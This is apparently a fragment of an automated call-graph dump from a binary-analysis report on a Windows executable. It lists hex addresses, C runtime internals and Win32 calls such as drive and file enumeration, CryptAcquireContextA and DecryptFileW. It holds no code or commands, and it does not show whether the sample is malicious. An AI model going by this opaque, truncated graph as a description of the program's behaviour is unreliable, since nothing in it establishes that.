aec318 _free 66 API calls 16037->16038 16039 af0b49 16038->16039 16040 aec318 _free 66 API calls 16039->16040 16041 af0b51 16040->16041 16042 aec318 _free 66 API calls 16041->16042 16043 af0b59 16042->16043 16044 aec318 _free 66 API calls 16043->16044 16045 af0b61 16044->16045 16046 aec318 _free 66 API calls 16045->16046 16047 af0b6c 16046->16047 16048 aec318 _free 66 API calls 16047->16048 16049 af0b74 16048->16049 16050 aec318 _free 66 API calls 16049->16050 16051 af0b7c 16050->16051 16052 aec318 _free 66 API calls 16051->16052 16053 af0b84 16052->16053 16054 aec318 _free 66 API calls 16053->16054 16055 af0b8c 16054->16055 16056 aec318 _free 66 API calls 16055->16056 16057 af0b94 16056->16057 16058 aec318 _free 66 API calls 16057->16058 16059 af0b9c 16058->16059 16060 aec318 _free 66 API calls 16059->16060 16061 af0ba4 16060->16061 16062 aec318 _free 66 API calls 16061->16062 16063 af0bac 16062->16063 16185->15926 16189 aed0da LeaveCriticalSection 16186->16189 16188 aec62b 16188->15913 16189->16188 16191 aec8ad __fcloseall 16190->16191 16192 aea753 __getptd 66 API calls 16191->16192 16193 aec8b6 16192->16193 16194 aec589 _LocaleUpdate::_LocaleUpdate 68 API calls 16193->16194 16195 aec8c0 16194->16195 16221 aec632 16195->16221 16198 aedbda __malloc_crt 66 API calls 16199 aec8e1 16198->16199 16200 aeca00 __fcloseall 16199->16200 16228 aec6b3 16199->16228 16200->15863 16203 aeca0d 16203->16200 16208 aec318 _free 66 API calls 16203->16208 16211 aeca20 16203->16211 16204 aec911 InterlockedDecrement 16205 aec932 InterlockedIncrement 16204->16205 16206 aec921 16204->16206 16205->16200 16207 aec948 16205->16207 16206->16205 16210 aec318 _free 66 API calls 16206->16210 16207->16200 16213 aed1bd __lock 66 API calls 16207->16213 16208->16211 16209 aeb059 __mtinitlocknum 66 API calls 16209->16200 16212 aec931 16210->16212 16211->16209 16212->16205 16215 aec95c InterlockedDecrement 16213->16215 16216 aec9eb InterlockedIncrement 16215->16216 16217 aec9d8 16215->16217 16238 aeca02 16216->16238 16217->16216 16219 aec318 _free 66 API calls 16217->16219 16220 aec9ea 16219->16220 16220->16216 16222 ae92e9 _LocaleUpdate::_LocaleUpdate 76 API calls 16221->16222 16223 aec646 16222->16223 16224 aec66f 16223->16224 16225 aec651 GetOEMCP 16223->16225 16226 aec674 GetACP 16224->16226 16227 aec661 16224->16227 16225->16227 16226->16227 16227->16198 16227->16200 16229 aec632 getSystemCP 78 API calls 16228->16229 16231 aec6d3 16229->16231 16230 aec6de setSBCS 16232 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 16230->16232 16231->16230 16234 aec722 IsValidCodePage 16231->16234 16237 aec747 _memset __setmbcp_nolock 16231->16237 16233 aec89a 16232->16233 16233->16203 16233->16204 16234->16230 16235 aec734 GetCPInfo 16234->16235 16235->16230 16235->16237 16241 aec3f4 GetCPInfo 16237->16241 16302 aed0da LeaveCriticalSection 16238->16302 16240 aeca09 16240->16200 16243 aec428 _memset 16241->16243 16250 aec4dc 16241->16250 16251 af0a8c 16243->16251 16246 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 16248 aec582 16246->16248 16248->16237 16249 af0955 ___crtLCMapStringA 82 API calls 16249->16250 16250->16246 16252 ae92e9 _LocaleUpdate::_LocaleUpdate 76 API calls 16251->16252 16253 af0a9f 16252->16253 16261 af09a0 16253->16261 16256 af0955 16257 ae92e9 _LocaleUpdate::_LocaleUpdate 76 API calls 16256->16257 16258 af0968 16257->16258 16278 af0769 16258->16278 16262 af09be 16261->16262 16263 af09c9 MultiByteToWideChar 16261->16263 16262->16263 16266 af09f6 16263->16266 16273 af09f2 16263->16273 16264 af0a0b _memset __crtGetStringTypeA_stat 16268 af0a44 MultiByteToWideChar 16264->16268 16264->16273 16265 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 16267 aec497 16265->16267 16266->16264 16269 aecdb5 _malloc 66 API calls 16266->16269 16267->16256 16270 af0a6b 16268->16270 16271 af0a5a GetStringTypeW 16268->16271 16269->16264 16274 ae92c4 16270->16274 16271->16270 16273->16265 16275 ae92e1 16274->16275 16276 ae92d0 16274->16276 16275->16273 16276->16275 16277 aec318 _free 66 API calls 16276->16277 16277->16275 16279 af0787 MultiByteToWideChar 16278->16279 16281 af07e5 16279->16281 16285 af07ec 16279->16285 16282 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 16281->16282 16284 aec4b7 16282->16284 16283 af0839 MultiByteToWideChar 16287 af0852 LCMapStringW 16283->16287 16301 af0931 16283->16301 16284->16249 16286 aecdb5 _malloc 66 API calls 16285->16286 16290 af0805 __crtGetStringTypeA_stat 16285->16290 16286->16290 16289 af0871 16287->16289 16287->16301 16288 ae92c4 __freea 66 API calls 16288->16281 16291 af087b 16289->16291 16292 af08a4 16289->16292 16290->16281 16290->16283 16293 af088f LCMapStringW 16291->16293 16291->16301 16294 af08bf __crtGetStringTypeA_stat 16292->16294 16296 aecdb5 _malloc 66 API calls 16292->16296 16293->16301 16295 af08f3 LCMapStringW 16294->16295 16294->16301 16297 af092b 16295->16297 16298 af0909 WideCharToMultiByte 16295->16298 16296->16294 16299 ae92c4 __freea 66 API calls 16297->16299 16298->16297 16299->16301 16301->16288 16302->16240 16304 aedb84 16303->16304 16306 aedb8b 16303->16306 16304->16306 16309 aedba9 16304->16309 16305 aeb059 __mtinitlocknum 66 API calls 16307 aedb90 16305->16307 16306->16305 16308 aeaffd __woutput_s_l 11 API calls 16307->16308 16310 aedb9a 16308->16310 16309->16310 16311 aeb059 __mtinitlocknum 66 API calls 16309->16311 16310->15484 16311->16307 16313 aed5cb _EncodePointerInternal 16312->16313 16313->16313 16314 aed5e5 16313->16314 16314->15501 16318 aed568 16315->16318 16317 aed5b6 16317->15503 16319 aed574 __fcloseall 16318->16319 16326 ae980e 16319->16326 16325 aed595 __fcloseall 16325->16317 16327 aed1bd __lock 66 API calls 16326->16327 16328 ae9815 16327->16328 16329 aed477 _DecodePointerInternal _DecodePointerInternal 16328->16329 16330 aed4a5 16329->16330 16331 aed526 16329->16331 16330->16331 16343 af15bd 16330->16343 16340 aed59e 16331->16340 16333 aed509 _EncodePointerInternal _EncodePointerInternal 16333->16331 16334 aed4b7 16334->16333 16335 aed4db 16334->16335 16350 aedc75 16334->16350 16335->16331 16337 aedc75 __realloc_crt 70 API calls 16335->16337 16338 aed4f7 _EncodePointerInternal 16335->16338 16339 aed4f1 16337->16339 16338->16333 16339->16331 16339->16338 16376 ae981c 16340->16376 16344 af15dd HeapSize 16343->16344 16345 af15c8 16343->16345 16344->16334 16346 aeb059 __mtinitlocknum 66 API calls 16345->16346 16347 af15cd 16346->16347 16348 aeaffd __woutput_s_l 11 API calls 16347->16348 16349 af15d8 16348->16349 16349->16334 16353 aedc7e 16350->16353 16352 aedcbd 16352->16335 16353->16352 16354 aedc9e Sleep 16353->16354 16355 af168a 16353->16355 16354->16353 16356 af1695 16355->16356 16357 af16a0 16355->16357 16359 aecdb5 _malloc 66 API calls 16356->16359 16358 af16a8 16357->16358 16368 af16b5 16357->16368 16361 aec318 _free 66 API calls 16358->16361 16360 af169d 16359->16360 16360->16353 16375 af16b0 _free 16361->16375 16362 af16ed 16364 aed44a _malloc _DecodePointerInternal 16362->16364 16363 af16bd HeapReAlloc 16363->16368 16363->16375 16365 af16f3 16364->16365 16366 aeb059 __mtinitlocknum 66 API calls 16365->16366 16366->16375 16367 af171d 16370 aeb059 __mtinitlocknum 66 API calls 16367->16370 16368->16362 16368->16363 16368->16367 16369 aed44a _malloc _DecodePointerInternal 16368->16369 16372 af1705 16368->16372 16369->16368 16371 af1722 GetLastError 16370->16371 16371->16375 16373 aeb059 __mtinitlocknum 66 API calls 16372->16373 16374 af170a GetLastError 16373->16374 16374->16375 16375->16353 16379 aed0da LeaveCriticalSection 16376->16379 16378 ae9823 16378->16325 16379->16378 16381 ad6cc4 16380->16381 16382 ad6c91 GetLastError 16380->16382 16385 ad6cf5 lstrlenW 16381->16385 16391 ad6e70 16381->16391 16392 ad6d34 16381->16392 16401 ad8889 7 API calls 16381->16401 16383 ad6c9d 16382->16383 16384 ad854a 118 API calls 16383->16384 16387 ad6cbd 16384->16387 16388 ad6d3e lstrlenW 16385->16388 16389 ad6d01 CompareStringW 16385->16389 16387->15520 16393 ad6d8e lstrlenW 16388->16393 16394 ad6d4b CompareStringW 16388->16394 16389->16381 16389->16388 16390 ad6e90 LocalFree 16390->16387 16391->16390 16642 ad99d2 16391->16642 16392->16390 16400 ad854a 118 API calls 16392->16400 16395 ad6ddb lstrlenW 16393->16395 16396 ad6d9b CompareStringW 16393->16396 16394->16381 16394->16393 16398 ad6e08 lstrlenW 16395->16398 16399 ad6de8 CompareStringW 16395->16399 16396->16381 16396->16395 16402 ad6e15 CompareStringW 16398->16402 16403 ad6e32 lstrlenW 16398->16403 16399->16381 16399->16398 16400->16390 16401->16381 16402->16381 16402->16403 16403->16381 16404 ad6e3f CompareStringW 16403->16404 16404->16381 16655 ad9ca3 16405->16655 16408 ad8444 GetLastError 16409 ad8450 16408->16409 16410 ad8889 7 API calls 16409->16410 16411 ad8480 16409->16411 16412 ad846f 16410->16412 16411->15515 16412->16411 16662 ad85b2 16412->16662 16717 ad9cfe 16414->16717 16417 ad854a 118 API calls 16418 ad5af6 16417->16418 16418->15565 16419 ad6123 16418->16419 16420 ad614a 16419->16420 16427 ad61e5 16419->16427 16424 ad6204 16420->16424 16429 ad616d 16420->16429 16753 ad9dc6 16420->16753 16422 ad5b19 16422->15565 16432 ad6ef5 16422->16432 16423 ada46e 12 API calls 16423->16422 16426 ad854a 118 API calls 16424->16426 16426->16427 16427->16422 16427->16423 16428 ad620b 16428->16424 16429->16420 16429->16428 16431 ad61e2 16429->16431 16773 ad9ef3 16429->16773 16777 ada46e 16429->16777 16431->16427 16866 ad6f5c 16432->16866 16435 ad6f0f 16438 ad854a 118 API calls 16435->16438 16443 ad5b53 16438->16443 16439 ad6f35 16898 ad7c12 16439->16898 16442 ad84c7 118 API calls 16442->16443 16443->15543 16443->15565 16445 ad6260 16444->16445 16471 ad6251 16444->16471 16446 ad62fd 16445->16446 16451 ad9dc6 52 API calls 16445->16451 16467 ad6289 16445->16467 16445->16471 16447 ad6307 GetProcessHeap HeapAlloc 16446->16447 16448 ad6353 16446->16448 16447->16448 16452 ad6330 16447->16452 17257 ad676f 16448->17257 16449 ad854a 118 API calls 16453 ad63f3 16449->16453 16451->16445 16452->16471 16455 ad68fb 10 API calls 16453->16455 16462 ad63fa 16455->16462 16456 ad84c7 118 API calls 16459 ad6379 16456->16459 16457 ad9ef3 2 API calls 16457->16467 16458 ad5b83 16458->15550 16458->15565 17278 ad69b0 16459->17278 16460 ad6421 GetProcessHeap HeapFree 16460->16458 16463 ad6437 16460->16463 16462->16458 16462->16460 16464 ada46e 12 API calls 16462->16464 16466 ad9a29 GetLastError 16463->16466 16464->16462 16465 ad63d8 16468 ad69b0 SendMessageA 16465->16468 16466->16458 16467->16445 16467->16446 16467->16452 16467->16457 16469 ad63dd 16468->16469 17324 ad69e3 16469->17324 16471->16449 16471->16462 16472 ad639b 16475 ad6381 16472->16475 16476 ad6445 16472->16476 17306 ada003 16472->17306 16473 ad69e3 EnterCriticalSection LeaveCriticalSection 16473->16475 16475->16465 16475->16471 16475->16472 16475->16473 16478 ad644d 16475->16478 17283 ada222 16475->17283 16476->16478 16479 ad854a 118 API calls 16478->16479 16479->16453 16481 ad5979 16480->16481 16482 ad5956 16480->16482 16484 ad597e 16481->16484 16485 ad5990 16481->16485 16482->16481 16483 ad5965 16482->16483 16487 ad84c7 118 API calls 16483->16487 16488 ad84c7 118 API calls 16484->16488 16486 ad84c7 118 API calls 16485->16486 16489 ad599c 16486->16489 16490 ad5973 16487->16490 16491 ad598b 16488->16491 16489->15556 16490->15556 16491->15556 16493 ad5e2f _memset 16492->16493 16494 ad95c3 10 API calls 16493->16494 16495 ad5e44 16494->16495 16514 ad5e4a 16495->16514 18244 ad9663 16495->18244 16497 ad854a 118 API calls 16499 ad6043 16497->16499 16502 ad607b 16499->16502 16504 ad9663 12 API calls 16499->16504 16500 ad99d2 6 API calls 16501 ad5e77 16500->16501 16503 ad5e87 SetEnvironmentVariableW 16501->16503 16501->16514 16505 ad6089 16502->16505 16508 ad8e6f 3 API calls 16502->16508 16506 ad5e9e GetLastError 16503->16506 16507 ad5ec9 SetEnvironmentVariableW 16503->16507 16504->16502 16509 ad6097 16505->16509 16513 ad8e6f 3 API calls 16505->16513 16506->16514 16511 ad5ed7 GetLastError 16507->16511 16512 ad5f02 SetEnvironmentVariableW 16507->16512 16508->16505 16510 ad60a1 16509->16510 16515 ad8e6f 3 API calls 16509->16515 16510->15565 16511->16514 16516 ad5f3e 16512->16516 16517 ad5f13 GetLastError 16512->16517 16513->16509 16514->16497 16515->16510 16518 ad5f46 SetEnvironmentVariableW 16516->16518 16519 ad5f81 16516->16519 16517->16514 16518->16519 16521 ad5f56 GetLastError 16518->16521 18252 ad9779 16519->18252 16521->16514 16535 ad690c 16534->16535 16547 ad5bcc 16534->16547 16536 ad691a EnterCriticalSection LeaveCriticalSection 16535->16536 16542 ad6958 16535->16542 16537 ad693b PostMessageW 16536->16537 16538 ad6946 16536->16538 16537->16538 16541 ad694f WaitForSingleObject 16538->16541 16538->16542 16539 ad696c DeleteCriticalSection 16540 ad6979 16539->16540 16543 ad6988 16540->16543 16544 ad8e6f 3 API calls 16540->16544 16541->16542 16542->16539 16542->16540 16545 ad699a 16543->16545 16546 ad6997 CloseHandle 16543->16546 16544->16543 16545->16547 16548 ad69a3 CloseHandle 16545->16548 16546->16545 16547->15523 16547->15524 16548->16547 16550 ad64cd 16549->16550 16552 ad6472 16549->16552 16550->15533 16551 ad6499 GetProcessHeap HeapFree 16553 ad64b6 16551->16553 16554 ad64b1 16551->16554 16552->16551 16558 ad8e6f 3 API calls 16552->16558 16559 ad6497 16552->16559 18271 ad9c21 16552->18271 16553->16550 18282 ad92bb 16553->18282 16556 ad9a29 GetLastError 16554->16556 16556->16553 16558->16552 16559->16551 18321 af2fe1 16560->18321 16567 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 16568 ad5c14 16567->16568 16569 ad8e9c GetTimeZoneInformation GetSystemTime SystemTimeToTzSpecificLocalTime 16568->16569 16570 ad8b7e 112 API calls 16569->16570 16571 ad8f06 16570->16571 16572 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 16571->16572 16573 ad5c25 16572->16573 16573->15544 16573->15547 16575 aede4c 16574->16575 16575->15530 16575->16575 18641 aebf3c 16576->18641 16578 ad5aa8 16579 ad8889 16578->16579 16580 ad889d 16579->16580 16581 ad88a3 16579->16581 18672 ad9a43 GetProcessHeap HeapSize 16580->18672 16582 ad88b7 lstrlenW 16581->16582 16583 ad88c2 16581->16583 16586 ad88aa 16581->16586 16582->16583 16585 ad87eb 4 API calls 16583->16585 16583->16586 16585->16586 16586->15512 16588 ad855e 16587->16588 16589 ad8590 16587->16589 16588->16589 16590 ad8c9a 112 API calls 16588->16590 16591 ad85a8 16589->16591 16593 ad8e6f 3 API calls 16589->16593 16592 ad8577 16590->16592 16591->15516 16592->16589 16594 ad84c7 118 API calls 16592->16594 16593->16591 16594->16589 16596 ada41b CloseHandle 16595->16596 16597 ada422 16595->16597 16596->16597 16598 ada448 16597->16598 16599 ada437 GetProcessHeap HeapFree 16597->16599 16601 ada455 GetProcessHeap HeapFree 16598->16601 16603 ad8e6f 3 API calls 16598->16603 16599->16598 16600 ada443 16599->16600 16602 ad9a29 GetLastError 16600->16602 16604 ada463 16601->16604 16602->16598 16603->16601 16604->15523 16606 ad5cfd 16605->16606 16609 ad5cf6 16605->16609 16608 ad5d24 16606->16608 16606->16609 16607 ad9166 6 API calls 16610 ad5d8c 16607->16610 16611 ad9166 6 API calls 16608->16611 16609->16607 16612 ad5da1 16610->16612 16613 ad5d90 16610->16613 16617 ad5d31 16611->16617 16615 ad5dcd 16612->16615 16616 ad5da9 16612->16616 16614 ad854a 118 API calls 16613->16614 16618 ad5d9c 16614->16618 16620 ae92a7 99 API calls 16615->16620 16619 ad9166 6 API calls 16616->16619 16617->16613 16621 ad5d35 16617->16621 16625 ad5df6 16618->16625 16630 ad8e6f 3 API calls 16618->16630 16622 ad5dbc MessageBoxW 16619->16622 16623 ad5d53 16620->16623 18673 ad8dae 16621->18673 16622->16623 16623->16618 16634 ad8e6f 3 API calls 16623->16634 16627 ad5e04 16625->16627 16631 ad8e6f 3 API calls 16625->16631 16627->15531 16628 ad5d5b 16633 ad8abb 6 API calls 16628->16633 16629 ad5d47 16632 ad854a 118 API calls 16629->16632 16630->16625 16631->16627 16632->16623 16635 ad5d67 16633->16635 16634->16618 16635->16612 16636 ad5d6b 16635->16636 16637 ad854a 118 API calls 16636->16637 16637->16623 16639 ad8e8e 16638->16639 16640 ad8e8a 16638->16640 16641 ad9a29 GetLastError 16639->16641 16640->15549 16641->16640 16643 ad99dd 16642->16643 16645 ad99e8 GetModuleFileNameW 16643->16645 16646 ad9a21 16643->16646 16650 ad87eb 16643->16650 16647 ad9a04 GetLastError 16645->16647 16648 ad99f7 16645->16648 16646->16392 16649 ad9a00 16647->16649 16648->16643 16648->16649 16649->16646 16651 ad87f7 16650->16651 16654 ad8820 16650->16654 16652 ad8811 GetProcessHeap HeapAlloc 16651->16652 16653 ad8800 GetProcessHeap HeapReAlloc 16651->16653 16652->16654 16653->16654 16654->16643 16682 ad9926 16655->16682 16658 ad9cda 16660 ad843a 16658->16660 16661 ad8e6f 3 API calls 16658->16661 16659 ad9cc1 CreateFileW 16659->16658 16660->16408 16660->16409 16661->16660 16663 ad85f5 16662->16663 16676 ad86d9 16662->16676 16664 ad8601 GetModuleFileNameW 16663->16664 16663->16676 16666 ad8619 _memset 16664->16666 16665 ad86f2 16669 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 16665->16669 16703 ad9a63 16666->16703 16668 ad8e6f 3 API calls 16668->16665 16671 ad8700 16669->16671 16671->16411 16673 ad8671 _memset 16674 ad8e9c 115 API calls 16673->16674 16675 ad868d 16674->16675 16675->16676 16677 ad84c7 118 API calls 16675->16677 16676->16665 16676->16668 16678 ad86a5 16677->16678 16679 ad84c7 118 API calls 16678->16679 16680 ad86c8 16679->16680 16681 ad84c7 118 API calls 16680->16681 16681->16676 16683 ad8889 7 API calls 16682->16683 16686 ad9938 16683->16686 16684 ad9960 16685 ad9972 16684->16685 16687 ad8e6f 3 API calls 16684->16687 16685->16658 16685->16659 16686->16684 16689 ad9871 16686->16689 16687->16685 16691 ad988e 16689->16691 16690 ad9913 16690->16684 16691->16690 16694 ad98b5 ___BuildCatchObjectHelper 16691->16694 16695 ad9a43 GetProcessHeap HeapSize 16691->16695 16694->16690 16696 ad89d6 16694->16696 16695->16694 16697 ad89f1 16696->16697 16699 ad89f7 16696->16699 16702 ad9a43 GetProcessHeap HeapSize 16697->16702 16700 ad87eb 4 API calls 16699->16700 16701 ad89fe _memmove ___BuildCatchObjectHelper 16699->16701 16700->16701 16701->16690 16702->16699 16704 ad9926 10 API calls 16703->16704 16705 ad9a86 16704->16705 16706 ad9a90 GetFileVersionInfoSizeW 16705->16706 16708 ad9ab0 16705->16708 16709 ad9ace GlobalAlloc 16706->16709 16710 ad9aa4 GetLastError 16706->16710 16707 ad8645 GetComputerNameW 16707->16673 16708->16707 16711 ad8e6f 3 API calls 16708->16711 16709->16708 16712 ad9ae4 GetFileVersionInfoW 16709->16712 16710->16708 16711->16707 16713 ad9af6 VerQueryValueW 16712->16713 16714 ad9b10 GetLastError 16712->16714 16713->16714 16715 ad9b1c GlobalFree 16713->16715 16714->16715 16715->16708 16718 ad9ca3 11 API calls 16717->16718 16719 ad9d1f 16718->16719 16720 ad9d4c GetProcessHeap HeapAlloc 16719->16720 16721 ad9d29 GetLastError 16719->16721 16723 ad9d63 16720->16723 16722 ad60c2 16721->16722 16722->16417 16722->16418 16726 ad8889 7 API calls 16723->16726 16731 ad9d91 16723->16731 16724 ad9da9 16724->16722 16728 ad9daf CloseHandle 16724->16728 16725 ad9da2 16727 ada414 8 API calls 16725->16727 16729 ad9d86 16726->16729 16727->16724 16728->16722 16729->16731 16732 ada505 16729->16732 16731->16724 16731->16725 16748 ad9b6a SetFilePointerEx 16732->16748 16734 ada566 16734->16731 16735 ada54f GetProcessHeap RtlAllocateHeap 16735->16734 16737 ada58e ReadFile 16735->16737 16736 ada572 GetProcessHeap HeapReAlloc 16738 ada52c 16736->16738 16740 ada603 16736->16740 16737->16738 16739 ada60c GetLastError 16737->16739 16738->16734 16738->16735 16738->16736 16738->16737 16743 ada5da 16738->16743 16739->16740 16740->16734 16741 ada65e GetProcessHeap HeapFree 16740->16741 16741->16734 16742 ada670 16741->16742 16751 ad9a29 GetLastError 16742->16751 16743->16740 16745 ada5de GetProcessHeap HeapAlloc 16743->16745 16745->16740 16746 ada5ef GetProcessHeap HeapAlloc 16745->16746 16746->16740 16747 ada635 _memmove 16746->16747 16747->16740 16749 ad9b8c GetLastError 16748->16749 16750 ad9b96 16748->16750 16749->16750 16750->16738 16752 ad9a33 16751->16752 16752->16734 16754 ad9dec 16753->16754 16755 ad9de2 16753->16755 16797 ada3dc GetProcessHeap HeapAlloc 16754->16797 16755->16420 16758 ad9e02 GetProcessHeap HeapAlloc 16759 ad9e2b 16758->16759 16772 ad9e21 16758->16772 16760 ad9e57 16759->16760 16762 ad8889 7 API calls 16759->16762 16763 ad9e7e GetCurrentProcess GetCurrentProcess DuplicateHandle 16760->16763 16764 ad9e6c 16760->16764 16760->16772 16761 ada46e 12 API calls 16761->16755 16762->16760 16765 ad9e9b GetLastError 16763->16765 16766 ad9ea7 16763->16766 16817 ada7b1 16764->16817 16765->16766 16768 ad8889 7 API calls 16766->16768 16766->16772 16770 ad9ec4 16768->16770 16770->16772 16799 adab0c 16770->16799 16772->16755 16772->16761 16774 ad9f1a 16773->16774 16775 ad9f47 GetProcessHeap HeapAlloc 16774->16775 16776 ad9f64 16774->16776 16775->16776 16776->16429 16778 ada47c 16777->16778 16779 ada475 CloseHandle 16777->16779 16780 ada491 GetProcessHeap HeapFree 16778->16780 16781 ada4a2 16778->16781 16779->16778 16780->16781 16782 ada49d 16780->16782 16783 ada4a9 GetProcessHeap HeapFree 16781->16783 16784 ada4ba 16781->16784 16785 ad9a29 GetLastError 16782->16785 16783->16784 16786 ada4b5 16783->16786 16787 ada4c1 GetProcessHeap HeapFree 16784->16787 16788 ada4d2 16784->16788 16785->16781 16790 ad9a29 GetLastError 16786->16790 16787->16788 16791 ada4cd 16787->16791 16789 ada4df 16788->16789 16792 ad8e6f 3 API calls 16788->16792 16793 ada4ec GetProcessHeap HeapFree 16789->16793 16795 ad8e6f 3 API calls 16789->16795 16790->16784 16794 ad9a29 GetLastError 16791->16794 16792->16789 16796 ada4fa 16793->16796 16794->16788 16795->16793 16796->16429 16798 ad9df5 16797->16798 16798->16758 16798->16772 16800 ad9b6a 2 API calls 16799->16800 16801 adab35 16800->16801 16802 adab64 16801->16802 16803 adab40 ReadFile 16801->16803 16806 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 16802->16806 16804 adab57 GetLastError 16803->16804 16805 adab86 16803->16805 16804->16802 16805->16802 16807 adab98 GetProcessHeap HeapAlloc 16805->16807 16808 adac60 16806->16808 16809 adabbe 16807->16809 16810 adabb2 16807->16810 16808->16772 16811 adabce ReadFile 16809->16811 16813 adabf3 16809->16813 16810->16802 16811->16809 16812 adac01 GetLastError 16811->16812 16812->16813 16813->16802 16814 adac37 GetProcessHeap HeapFree 16813->16814 16814->16802 16815 adac4c 16814->16815 16816 ad9a29 GetLastError 16815->16816 16816->16802 16844 ad9711 16817->16844 16820 ada984 16822 ada997 16820->16822 16823 ad8e6f 3 API calls 16820->16823 16821 ad8889 7 API calls 16825 ada810 16821->16825 16824 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 16822->16824 16823->16822 16826 ad9e7c 16824->16826 16827 ada96f 16825->16827 16848 ad8abb 16825->16848 16826->16770 16827->16820 16829 ad8e6f 3 API calls 16827->16829 16829->16820 16830 ada82b 16830->16827 16831 ada835 FindFirstFileW 16830->16831 16832 ada853 GetLastError 16831->16832 16837 ada85f 16831->16837 16832->16837 16833 ada8f7 FindNextFileW 16833->16837 16843 ada912 16833->16843 16834 ada935 16834->16827 16838 ada963 FindClose 16834->16838 16835 ad8889 7 API calls 16835->16837 16836 ada94e CloseHandle 16836->16834 16837->16827 16837->16833 16837->16835 16839 ad8abb 6 API calls 16837->16839 16841 ada914 16837->16841 16837->16843 16854 ada9ae 16837->16854 16838->16827 16839->16837 16842 ad8889 7 API calls 16841->16842 16842->16843 16843->16834 16843->16836 16845 ad9761 16844->16845 16846 ad9724 16844->16846 16845->16820 16845->16821 16846->16845 16847 ad8889 7 API calls 16846->16847 16847->16845 16849 ad8ad1 16848->16849 16851 ad8ad7 16848->16851 16865 ad9a43 GetProcessHeap HeapSize 16849->16865 16852 ad87eb 4 API calls 16851->16852 16853 ad8ade 16851->16853 16852->16853 16853->16830 16855 ad9ca3 11 API calls 16854->16855 16856 ada9e7 16855->16856 16857 adaa1d ReadFile 16856->16857 16858 ada9ee GetLastError 16856->16858 16860 adaa36 GetLastError 16857->16860 16861 adaa43 16857->16861 16859 ada9fb 16858->16859 16862 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 16859->16862 16860->16861 16861->16859 16863 adaaec CloseHandle 16861->16863 16864 adab03 16862->16864 16863->16859 16864->16837 16865->16851 16868 ad6f74 16866->16868 16867 ad6f9a 16871 ad6f09 16867->16871 16873 ad6fc9 GetModuleHandleW DialogBoxParamW 16867->16873 16875 ad6fa0 16867->16875 16868->16867 16869 ad6fa7 16868->16869 16872 ad6f83 16868->16872 16909 ad73a1 16869->16909 16871->16435 16882 ad91d3 16871->16882 16929 ad95c3 16872->16929 16873->16871 16876 ad6fe9 16873->16876 16879 ad854a 118 API calls 16875->16879 16878 ad854a 118 API calls 16876->16878 16881 ad6ff4 16878->16881 16879->16871 16880 ad854a 118 API calls 16880->16867 16881->16871 16881->16875 16883 ad9926 10 API calls 16882->16883 16884 ad91eb 16883->16884 16885 ad91f8 GetFileAttributesW 16884->16885 16886 ad924e 16884->16886 16887 ad920c CreateDirectoryW 16885->16887 16888 ad9204 16885->16888 16889 ad6f20 16886->16889 16891 ad8e6f 3 API calls 16886->16891 16887->16886 16890 ad921e GetLastError 16887->16890 16888->16886 16888->16887 16889->16435 16889->16439 16890->16886 16892 ad922b 16890->16892 16891->16889 16892->16886 16893 ad91d3 10 API calls 16892->16893 16894 ad9263 16893->16894 16894->16886 16895 ad926f CreateDirectoryW 16894->16895 16895->16886 16896 ad927d GetLastError 16895->16896 16897 ad928a 16896->16897 16897->16886 16899 ad7c8c DecryptFileW 16898->16899 16900 ad7c20 LoadLibraryW 16898->16900 16903 ad7c9b GetLastError 16899->16903 16904 ad6f3d 16899->16904 16901 ad7c2f GetLastError 16900->16901 16902 ad7c53 GetProcAddress 16900->16902 16906 ad7c39 16901->16906 16902->16899 16905 ad7c68 GetLastError 16902->16905 16907 ad7ca5 16903->16907 16904->16442 16905->16906 16906->16907 16908 ad854a 118 API calls 16907->16908 16908->16904 16940 ad774a 16909->16940 16912 ad73c7 16914 ad854a 118 API calls 16912->16914 16913 ad73d6 16980 ad751d CryptAcquireContextA 16913->16980 16916 ad73d2 16914->16916 16920 ad745d 16916->16920 16922 ad8e6f 3 API calls 16916->16922 16918 ad73ec 16921 ad8abb 6 API calls 16918->16921 16927 ad73f2 16918->16927 16920->16867 16923 ad7406 16921->16923 16922->16920 16923->16927 17010 ad997e 16923->17010 16924 ad854a 118 API calls 16925 ad742c 16924->16925 16925->16916 16928 ad8e6f 3 API calls 16925->16928 16927->16924 16927->16925 16928->16916 16930 ad87eb 4 API calls 16929->16930 16931 ad95db GetCurrentDirectoryW 16930->16931 16932 ad960d GetLastError 16931->16932 16933 ad95f0 16931->16933 16935 ad9619 16932->16935 16934 ad87eb 4 API calls 16933->16934 16933->16935 16937 ad95fd 16934->16937 16936 ad6f89 16935->16936 16939 ad8e6f 3 API calls 16935->16939 16936->16867 16936->16880 16937->16935 16938 ad9603 GetCurrentDirectoryW 16937->16938 16938->16932 16938->16935 16939->16936 17015 ad7cd0 16940->17015 16943 ad77a7 16945 ad84c7 118 API calls 16943->16945 16944 ad87eb 4 API calls 16946 ad778f 16944->16946 16947 ad77b6 16945->16947 16946->16943 16948 ad7795 16946->16948 16949 ad87eb 4 API calls 16947->16949 16950 ad854a 118 API calls 16948->16950 16951 ad77c6 16949->16951 16953 ad77a0 16950->16953 16952 ad77d6 GetLogicalDriveStringsW 16951->16952 16958 ad77cc 16951->16958 16954 ad77ee GetLastError 16952->16954 16955 ad7819 16952->16955 16957 ad73c1 16953->16957 16962 ad8e6f 3 API calls 16953->16962 16954->16958 16959 ad87eb 4 API calls 16955->16959 16969 ad7834 _wcschr 16955->16969 16956 ad854a 118 API calls 16960 ad79de 16956->16960 16957->16912 16957->16913 16958->16956 16958->16960 16963 ad7826 16959->16963 16960->16953 16966 ad8e6f 3 API calls 16960->16966 16961 ad7841 CharUpperW 16964 ad84c7 118 API calls 16961->16964 16962->16957 16963->16958 16965 ad782c GetLogicalDriveStringsW 16963->16965 16964->16969 16965->16969 16966->16953 16968 ad84c7 118 API calls 16968->16969 16969->16958 16969->16961 16969->16968 